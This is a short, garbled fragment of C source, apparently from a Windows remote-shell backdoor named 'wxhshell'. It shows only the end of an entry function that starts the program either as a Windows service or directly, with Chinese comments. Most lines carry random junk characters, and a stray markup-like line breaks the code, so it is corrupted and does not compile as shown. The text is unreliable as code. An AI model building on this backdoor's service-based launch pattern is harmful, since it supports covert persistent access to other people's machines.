if(StartFromService()) $I|6v
// 以服务方式启动 m&a 8/5
StartServiceCtrlDispatcher(DispatchTable); k0@*Up3{7
else <HB@j}qi
// 普通方式启动 LK:Jkjp^
StartWxhshell(lpCmdLine); jBMGm"NE
<! Z06
return 0; B&rw R/d
}